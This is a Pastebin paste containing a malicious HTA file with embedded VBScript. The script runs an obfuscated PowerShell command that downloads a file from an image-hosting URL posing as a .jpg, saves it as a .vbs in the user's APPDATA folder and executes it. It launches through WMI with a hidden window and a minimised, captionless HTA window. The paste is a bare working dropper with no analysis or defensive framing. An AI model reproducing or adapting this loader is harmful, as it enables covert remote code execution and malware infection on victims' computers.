Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <html>
- <head>
- <HTA:APPLICATION icon="#" WINDOWSTATE="minimize" SYSMENU="no" CAPTION="no" />
- <SCRIPT Language="VBScript">
- gshjgjshsjhsusyuiweiwuwiuwiuiww = "Powershell $r='KEX'.replace('K','I'); sal D $r;'(&(GCM'+' *W-O*)'+ 'Net.'+'Web'+'Cli'+'ent)'+'.Dow'+'nl'+'oad'+'Fil'+'e(''https://i.top4top.io/p_1637d4pcb1.jpg'',$env:APPDATA+''\\''+''file.vbs'')'|D; start-process($env:APPDATA+'\\'+'file.vbs')"
- exec(gshjgjshsjhsusyuiweiwuwiuwiuiww)
- Sub exec(Atc)
- strCommand = Atc
- Set objWMIService = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2")
- Set objStartup = objWMIService.Get("Win32_ProcessStartup")
- Set objConfig = objStartup.SpawnInstance_
- objConfig.ShowWindow = 0
- Set objProcess = objWMIService.Get("Win32_Process")
- intReturn = objProcess.Create(strCommand, Null, objConfig, intProcessID)
- End Sub
- self.close
- </SCRIPT>
- </body>
- </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement